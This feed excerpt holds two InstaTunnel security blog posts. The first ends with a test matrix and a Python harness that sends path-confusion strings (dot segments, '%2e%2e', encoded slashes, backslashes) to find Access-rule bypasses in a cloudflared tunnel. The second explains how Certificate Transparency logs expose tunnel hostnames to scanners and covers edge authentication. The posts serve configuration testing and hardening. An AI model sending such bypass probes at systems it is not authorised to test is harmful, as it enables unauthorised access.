&lt;td&gt;&lt;code&gt;/admin;x=1/users&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;raw&lt;/td&gt;
&lt;td&gt;Not documented&lt;/td&gt;
&lt;td&gt;No, test it&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two cautions when reading results. First, Cloudflare's own edge normalization is a separate layer. Some rows may look identical with &lt;code&gt;cloudflared&lt;/code&gt; normalization on and off because the edge already rewrote them; that's fine, but you want to know which layer is doing the work. Second, &lt;code&gt;cloudflared tunnel ingress rule &amp;lt;URL&amp;gt;&lt;/code&gt; shows which rule a URL matches, but Cloudflare's docs don't say whether it honors the normalization flag, so confirm with live traffic as well.&lt;/p&gt;

&lt;p&gt;Here's a small Python harness that sends paths exactly as written, which &lt;code&gt;curl&lt;/code&gt; and browsers won't always do:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;http.client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssl&lt;/span&gt;

&lt;span class="n"&gt;HOST&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;app.example.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;PATHS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/admin/users&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/public/../admin/users&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;//admin/users&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/admin//users&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;admin&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;users&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/admin/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/%61dmin/users&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/admin%2Fusers&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/public/%2e%2e/admin/users&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/admin;x=1/users&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;ctx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ssl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create_default_context&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;PATHS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;HTTPSConnection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="si"&gt;!r:&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; -&amp;gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getresponse&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run it twice: once with the tunnel on current defaults, once with &lt;code&gt;--disable-path-normalization=false&lt;/code&gt;. Any path that returns something other than the baseline denial is a finding. For one-off checks, &lt;code&gt;curl --path-as-is&lt;/code&gt; stops curl from collapsing dot segments before sending.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rollout checklist before 2027-01-25
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Find out if you're in scope.&lt;/strong&gt; Search your configs for &lt;code&gt;access:&lt;/code&gt; blocks with &lt;code&gt;required: true&lt;/code&gt;. No such rules, and Cloudflare says you're unaffected.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check where the &lt;code&gt;access&lt;/code&gt; block sits.&lt;/strong&gt; An open issue in Cloudflare's docs repository reports that on &lt;code&gt;cloudflared&lt;/code&gt; 2026.7.1 a top-level &lt;code&gt;originRequest.access&lt;/code&gt; block wasn't enforced, while the same block under an individual ingress rule was. This is a user report, not confirmed documentation, so verify on your version rather than trusting either reading.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run the matrix in staging&lt;/strong&gt; with normalization off, then on. Record every difference.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit regex anchors.&lt;/strong&gt; Replace unanchored or &lt;code&gt;$&lt;/code&gt;-terminated patterns for protected paths with ones that handle trailing slashes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Turn it on early, explicitly.&lt;/strong&gt; Setting the flag now means the January change is a no-op for you. After the cutover, check the release notes to confirm the flag is still honored.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Control auto-updates&lt;/strong&gt; (&lt;code&gt;--no-autoupdate&lt;/code&gt;, version pinning) until the matrix passes on the new version.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fix the origin too.&lt;/strong&gt; Normalization at the tunnel is defense in depth. Make your application reject ambiguous paths (encoded slashes, backslashes, dot segments) rather than depending on the layer in front of it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log raw request targets&lt;/strong&gt; so a probing attempt shows up as &lt;code&gt;%2e%2e&lt;/code&gt; or &lt;code&gt;\&lt;/code&gt; in your logs, not as a cleaned path.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Does this change the path my application receives?&lt;/strong&gt;&lt;br&gt;
No. Cloudflare states the URL path sent to your origin stays the same. Only the path used to select an ingress rule is normalized.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Will my tunnel break on 2027-01-25?&lt;/strong&gt;&lt;br&gt;
Only if you have rules requiring Access validation and your matching relies on un-normalized paths. Cloudflare says configurations without such rules are unaffected, but it recommends testing path-based routing before the date.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is normalizing at the tunnel enough to stop path-confusion bypasses?&lt;/strong&gt;&lt;br&gt;
It closes the gap for the transformations it performs. It does not make your origin's parsing consistent with the tunnel's, and Cloudflare doesn't document decoding of reserved characters like &lt;code&gt;%2F&lt;/code&gt;. Treat it as one layer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does the same risk exist with other tunnels and reverse proxies?&lt;/strong&gt;&lt;br&gt;
Yes. Any component that makes a routing or authorization decision on a path it hasn't normalized the way the next component will is exposed. Run the matrix against whatever sits at your edge.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Webhook signature verification behind tunnels is a separate failure mode, covered in the earlier post on signatures.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://developers.cloudflare.com/changelog/post/2026-10-22-cloudflared-path-normalization/" rel="noopener noreferrer"&gt;Cloudflare Tunnel supports URL normalization (changelog, Oct 22, 2026)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.cloudflare.com/tunnel/features/locally-managed-tunnels/configuration-file/#how-traffic-is-matched" rel="noopener noreferrer"&gt;Cloudflare Tunnel configuration file: how traffic is matched&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.cloudflare.com/tunnel/reference/run-parameters/#disable-path-normalization" rel="noopener noreferrer"&gt;Cloudflare Tunnel run parameters: disable-path-normalization&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.cloudflare.com/tunnel/reference/origin-parameters/#access" rel="noopener noreferrer"&gt;Cloudflare Tunnel origin parameters: Access settings&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.cloudflare.com/rules/normalization/" rel="noopener noreferrer"&gt;Cloudflare URL normalization (Rules docs)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/cloudflare/cloudflared/releases" rel="noopener noreferrer"&gt;cloudflared releases on GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/cloudflare/cloudflare-docs/issues/32006" rel="noopener noreferrer"&gt;cloudflare-docs issue 32006: access block placement&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.rfc-editor.org/rfc/rfc3986" rel="noopener noreferrer"&gt;RFC 3986: Uniform Resource Identifier (URI): Generic Syntax&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf" rel="noopener noreferrer"&gt;Orange Tsai, "Breaking Parser Logic" (Black Hat USA 2018 slides)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://releasealert.dev/cve/CVE-2026-42274" rel="noopener noreferrer"&gt;CVE-2026-42274 (Heimdall)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://corgea.com/advisories/vulnerabilities/CVE-2026-50559" rel="noopener noreferrer"&gt;CVE-2026-50559 (Quarkus) advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.sentinelone.com/vulnerability-database/cve-2026-3125/" rel="noopener noreferrer"&gt;CVE-2026-3125 (@opennextjs/cloudflare)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-6321" rel="noopener noreferrer"&gt;CVE-2026-6321 (fast-uri)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://instatunnel.my/blog/path-normalization-at-the-tunnel-edge-why-a-route-matches-on-localhost-but-not-through-a-tunnel" rel="noopener noreferrer"&gt;https://instatunnel.my/blog/path-normalization-at-the-tunnel-edge-why-a-route-matches-on-localhost-but-not-through-a-tunnel&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
    </item>
    <item>
      <title>Certificate Transparency Leaks: Why Your "Secret" Tunnel URL Isn't Secret</title>
      <dc:creator>InstaTunnel</dc:creator>
      <pubDate>Wed, 04 Nov 2026 01:43:45 +0000</pubDate>
      <link>https://dev.to/instatunnel/certificate-transparency-leaks-why-your-secret-tunnel-url-isnt-secret-1cai</link>
      <guid>https://dev.to/instatunnel/certificate-transparency-leaks-why-your-secret-tunnel-url-isnt-secret-1cai</guid>
      <description>&lt;p&gt;You run one command, your localhost gets a public HTTPS address like &lt;code&gt;https://k7x2m9qa.example-tunnel.dev&lt;/code&gt;, and you paste it into a client chat. The label looks random, nobody has it, so it feels private.&lt;/p&gt;

&lt;p&gt;It may already be public. If a publicly trusted certificate was issued for that exact hostname, the name is sitting in a public, append-only log that anyone can read, and automated scanners watch those logs around the clock. Obscurity was never access control, and Certificate Transparency (CT) is the clearest proof.&lt;/p&gt;

&lt;p&gt;This guide explains how CT leaks hostnames, how quickly scanners act on them, when wildcard certificates help (and when they don't), and what actually protects a development tunnel. Facts were checked against current sources as of November 2026.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Certificate Transparency Is (and Why It Exists)
&lt;/h2&gt;

&lt;p&gt;Certificate Transparency is a system of public, append-only logs that record TLS certificates issued by publicly trusted certificate authorities (CAs). It was designed as a defensive tool: if a CA mis-issues a certificate for a domain you own, the log lets you detect it. The original specification is RFC 6962, with a revised version in RFC 9162.&lt;/p&gt;

&lt;p&gt;The crucial detail for tunnel users is what gets logged: the certificate's full set of subject names. Every hostname on the certificate becomes a public record.&lt;/p&gt;

&lt;p&gt;CT is also not optional in practice. Chrome has enforced it for extended-validation certificates since 2015 and for most public certificates since 2018, and Apple platforms enforce their own CT policy. A publicly trusted certificate without valid Signed Certificate Timestamps (SCTs), which are the logs' signed proofs of inclusion, is rejected by browsers. The ecosystem keeps tightening: Chrome Root Program Policy version 1.8, dated June 15, 2026, strengthened CT and PKI governance requirements across all publicly trusted certificate types, and Chrome 148 (released May 5, 2026) dropped support for SCTs delivered through stapled OCSP responses. SCTs must now be embedded in the certificate or delivered through the TLS extension.&lt;/p&gt;

&lt;p&gt;The practical consequence: you cannot opt a publicly trusted certificate out of logging. The log entry also exists before you ever serve the certificate, because CAs typically submit a "precertificate" to the logs first to obtain the SCTs they embed in the final certificate.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Fast Do Scanners Find a New Hostname?
&lt;/h2&gt;

&lt;p&gt;Faster than most people expect. The foundational research is the 2018 ACM Internet Measurement Conference paper "The Rise of Certificate Transparency and Its Implications on the Internet Ecosystem" by Scheitle and colleagues. The authors built a CT honeypot and showed that data from CT logs is used to pick targets for scanning campaigns only minutes after certificate issuance. They also built a method that combined subdomain labels extracted from logged certificates with DNS lookups, and it surfaced 18.8 million previously unknown fully qualified domain names, about 17.7 million more than other public lists contained.&lt;/p&gt;

&lt;p&gt;That was 2018. Today the tooling is easier, not harder:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Real-time streams.&lt;/strong&gt; Services such as Certstream expose a WebSocket feed of certificates as they are logged, which lets anyone filter for keywords, brands, or patterns in new hostnames.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Searchable archives.&lt;/strong&gt; crt.sh lets anyone query every certificate ever logged for a domain, including an Atom feed for new entries. Subdomain enumeration through CT is a standard first step in penetration tests because it is free and thorough.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Faster logs.&lt;/strong&gt; Newer "static CT API" logs, such as Let's Encrypt's Sunlight-based Sycamore and Willow logs, publish data as static files that are cheap to mirror. Chrome's log policy requires static-ct-api logs to specify a maximum merge delay of no more than one minute, compared with the roughly 24-hour merge delay typical of RFC 6962 logs. Let's Encrypt's older Oak log was set to be shut down in February 2026.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Whether a particular bot probes your tunnel within thirty seconds or thirty minutes varies, and nobody can promise a number. The safe assumption is the one the research supports: once a certificate containing your hostname exists, treat the name as public.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Late-September Quick Tunnels Warning
&lt;/h2&gt;

&lt;p&gt;This is not an abstract risk for tunnel users. In late September 2026, TechSpot covered the "one command puts your localhost on the internet" trend around Cloudflare Quick Tunnels and noted that these URLs are public and that bots tend to find them quickly.&lt;/p&gt;

&lt;p&gt;Some background on that product:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cloudflare introduced Quick Tunnels in September 2021, and the feature was built by an intern, Rishabh Bector.&lt;/li&gt;
&lt;li&gt;A single &lt;code&gt;cloudflared&lt;/code&gt; command returns a temporary &lt;code&gt;trycloudflare.com&lt;/code&gt; address with no account, domain, or port forwarding needed.&lt;/li&gt;
&lt;li&gt;Cloudflare's own documentation lists limits: no uptime guarantee, up to 200 in-flight requests per tunnel (extra requests return a 429), and no Server-Sent Events support.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Security researchers have noted a second discovery path beyond CT. A report from IT-Connect found that a &lt;code&gt;site:trycloudflare.com&lt;/code&gt; search in Google returns pages served from Quick Tunnels. Detection engineers are paying attention too: Elastic ships a rule for adversaries abusing quick tunnels to proxy command-and-control traffic. If defenders and attackers both watch a hostname pattern, your "temporary" URL is not obscure.&lt;/p&gt;

&lt;p&gt;Cloudflare's own answer is telling. On October 2, 2026, it added a &lt;code&gt;--allowed-mail&lt;/code&gt; flag to Quick Tunnels: visitors must enter a one-time PIN sent to an allowed email address, and you can allow one address, several, or an entire email domain. Access ends when the &lt;code&gt;cloudflared&lt;/code&gt; process stops. Before this, per the changelog coverage, anyone holding a Quick Tunnel link could open the service. A vendor adding a gate is a vendor acknowledging that the URL alone is not a gate.&lt;/p&gt;

&lt;h2&gt;
  
  
  Per-Subdomain Certificates vs. Wildcard Certificates
&lt;/h2&gt;

&lt;p&gt;What CT reveals depends on how your tunnel provider (or you) obtains certificates. This is the heart of the discovery question.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Per-subdomain certificate&lt;/th&gt;
&lt;th&gt;Wildcard certificate&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;What appears in CT logs&lt;/td&gt;
&lt;td&gt;The exact hostname, e.g. &lt;code&gt;staging-api.example.com&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Only the pattern, e.g. &lt;code&gt;*.example.com&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery by log scanners&lt;/td&gt;
&lt;td&gt;Immediate and specific&lt;/td&gt;
&lt;td&gt;Reveals that subdomains exist, not which&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Let's Encrypt validation&lt;/td&gt;
&lt;td&gt;HTTP-01, DNS-01, or TLS-ALPN-01&lt;/td&gt;
&lt;td&gt;DNS-01 only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Coverage&lt;/td&gt;
&lt;td&gt;One name (or up to 100 names on a SAN certificate)&lt;/td&gt;
&lt;td&gt;One level of subdomains&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Key-compromise blast radius&lt;/td&gt;
&lt;td&gt;Single hostname&lt;/td&gt;
&lt;td&gt;Every covered subdomain sharing the key&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Typical use&lt;/td&gt;
&lt;td&gt;Production services with stable names&lt;/td&gt;
&lt;td&gt;Dev, staging, per-customer or per-session subdomains&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A wildcard entry shows up in the log as &lt;code&gt;*.example.com&lt;/code&gt;, one record regardless of how many subdomains you serve. So &lt;code&gt;internal-dev.example.com&lt;/code&gt; or a per-session tunnel label does not appear individually. This is why practitioners, including Let's Encrypt community members, point to wildcards as the standard way to avoid advertising subdomain lists. Subdomain enumeration tools lean heavily on CT, and a wildcard blunts that technique.&lt;/p&gt;

&lt;p&gt;Wildcards come with trade-offs worth stating honestly. They require DNS-01 validation with Let's Encrypt, which means automated access to your DNS provider's API. A single private key now protects many hostnames, so a compromise has a wider blast radius. And a wildcard covers only one label level: &lt;code&gt;*.example.com&lt;/code&gt; does not cover &lt;code&gt;a.b.example.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For tunnel services the picture has two sides:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;If the provider terminates TLS with a wildcard on its own domain,&lt;/strong&gt; individual tunnel names are not published through CT by that certificate. The exposure moves elsewhere (see below).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;If you bring your own domain and the setup issues one certificate per tunnel hostname,&lt;/strong&gt; each hostname is published the moment the certificate is logged.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Ask your provider which model it uses. Do not assume.&lt;/p&gt;

&lt;h2&gt;
  
  
  Wildcards Hide the Name From CT, Not From Everyone
&lt;/h2&gt;

&lt;p&gt;A wildcard solves one leak path. A subdomain is still a plain DNS name, and names travel:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;DNS and network visibility.&lt;/strong&gt; Resolvers, passive DNS databases, and corporate proxies see lookups. Server Name Indication (SNI) is sent in cleartext during the TLS handshake unless Encrypted Client Hello is in use.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You share it.&lt;/strong&gt; The URL goes into Slack, tickets, pull request comments, and email. Link previews and message archives can fetch and store it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Browsers and referrers.&lt;/strong&gt; Browser history, sync, extensions, and &lt;code&gt;Referer&lt;/code&gt; headers on outbound links can carry the URL to third parties.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Search engines and crawlers.&lt;/strong&gt; As the Quick Tunnels indexing report shows, a public URL can end up in search results if it is linked anywhere a crawler visits.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Logs.&lt;/strong&gt; Anything your app, your CDN, or your analytics stack logs includes the host.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A wildcard certificate reduces one passive, automated discovery channel. It does not make the hostname a credential.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why a Random URL Is Not Access Control
&lt;/h2&gt;

&lt;p&gt;Access control means the system checks who you are and refuses everyone else. A random hostname does none of that. Anyone who learns the address gets in, with no log of who they are.&lt;/p&gt;

&lt;p&gt;The math sometimes gets misused as a defense. A random eight-character base-36 label has roughly 2.8 trillion possibilities, which sounds enormous. But the strength of a secret depends on whether it has leaked, not only on how many guesses it would take. Once the name is in a CT log, a Certstream feed, a Slack export, or a browser's sync history, its entropy is irrelevant. Attackers do not need to guess a name they can read.&lt;/p&gt;

&lt;p&gt;Three further problems follow:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No revocation.&lt;/strong&gt; You cannot "rotate" a leaked URL without taking the tunnel down.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No identity.&lt;/strong&gt; You cannot tell your client from a bot.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No scope.&lt;/strong&gt; Whoever finds the URL reaches the entire service behind it: admin routes, debug endpoints, webhook handlers, local databases exposed through the app.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Treat a tunnel URL the way you would treat a public IP address with an open port, because functionally that is what it is.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Actually Protects a Dev Tunnel
&lt;/h2&gt;

&lt;p&gt;Assume discovery. Then make discovery harmless. A layered approach works:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Authenticate at the edge.&lt;/strong&gt; Put a credential check in front of the tunnel so a discovered URL returns a login challenge rather than your app. With InstaTunnel, the CLI flag reference includes &lt;code&gt;--password&lt;/code&gt; for password protection and &lt;code&gt;--auth user:pass&lt;/code&gt; for HTTP Basic Auth, and &lt;code&gt;--subdomain&lt;/code&gt; for a custom, stable name.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="c"&gt;# Password-protect a tunnel&lt;/span&gt;
   instatunnel 3000 &lt;span class="nt"&gt;--password&lt;/span&gt; &lt;span class="s2"&gt;"a-long-random-passphrase"&lt;/span&gt;

   &lt;span class="c"&gt;# HTTP Basic Auth&lt;/span&gt;
   instatunnel 3000 &lt;span class="nt"&gt;--auth&lt;/span&gt; demo:a-long-random-passphrase

   &lt;span class="c"&gt;# Stable name plus protection&lt;/span&gt;
   instatunnel 3000 &lt;span class="nt"&gt;--subdomain&lt;/span&gt; client-demo &lt;span class="nt"&gt;--password&lt;/span&gt; &lt;span class="s2"&gt;"a-long-random-passphrase"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Flags and tiers change, so check &lt;code&gt;instatunnel --help&lt;/code&gt; and the current docs before relying on one.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Use long, random credentials.&lt;/strong&gt; Basic Auth has no built-in brute-force defense, and scanners that find an endpoint will try common passwords. Generate a passphrase from a password manager; never reuse one.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep HTTPS on.&lt;/strong&gt; Basic Auth sends credentials in a reversible encoding, not encrypted ones, so it is only acceptable over TLS.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Know where edge passwords don't fit.&lt;/strong&gt; Automated callers such as webhook senders usually cannot answer a browser password prompt. For those, verify provider signatures (HMAC or signed headers) on your own server, and keep the tunnel narrowly scoped to the routes the provider needs. Test any gate with the real client before a demo.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shrink the lifetime.&lt;/strong&gt; A tunnel that runs for the length of a demo is exposed for less time than one left up all week. Use &lt;code&gt;instatunnel --list&lt;/code&gt; to see what is running and &lt;code&gt;--kill &amp;lt;subdomain&amp;gt;&lt;/code&gt; to stop one.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Do not expose what you would not publish.&lt;/strong&gt; Bind the local service only to what you intend to share, strip debug routes, and use test data. Never tunnel a database or admin console without a second authentication layer in the application itself.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitor your own names.&lt;/strong&gt; If you operate your own domain, subscribe to CT monitoring (crt.sh feeds or Certstream filters) for it. You will see exactly what an attacker sees and can notice unexpected certificates early.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prefer identity-aware gating for teams.&lt;/strong&gt; For shared staging links, edge authentication that ties access to a verified identity, such as one-time email PINs like Cloudflare's new flag or OAuth and OIDC at the proxy, beats a shared password because you can scope it per person.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Frequently Asked Questions
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Can I stop my tunnel hostname from being logged to CT?&lt;/strong&gt;&lt;br&gt;
Not with a publicly trusted certificate. Logging is a condition of browser trust. The workable approaches are a wildcard certificate (so the specific name is not logged) or a private CA for internal-only names, which will not be trusted by outside browsers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does a wildcard certificate make my tunnel private?&lt;/strong&gt;&lt;br&gt;
No. It removes one discovery channel, CT logs, for individual hostnames. Sharing, referrers, DNS visibility, and crawlers still apply, so authentication is still required.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How quickly will scanners find a new hostname?&lt;/strong&gt;&lt;br&gt;
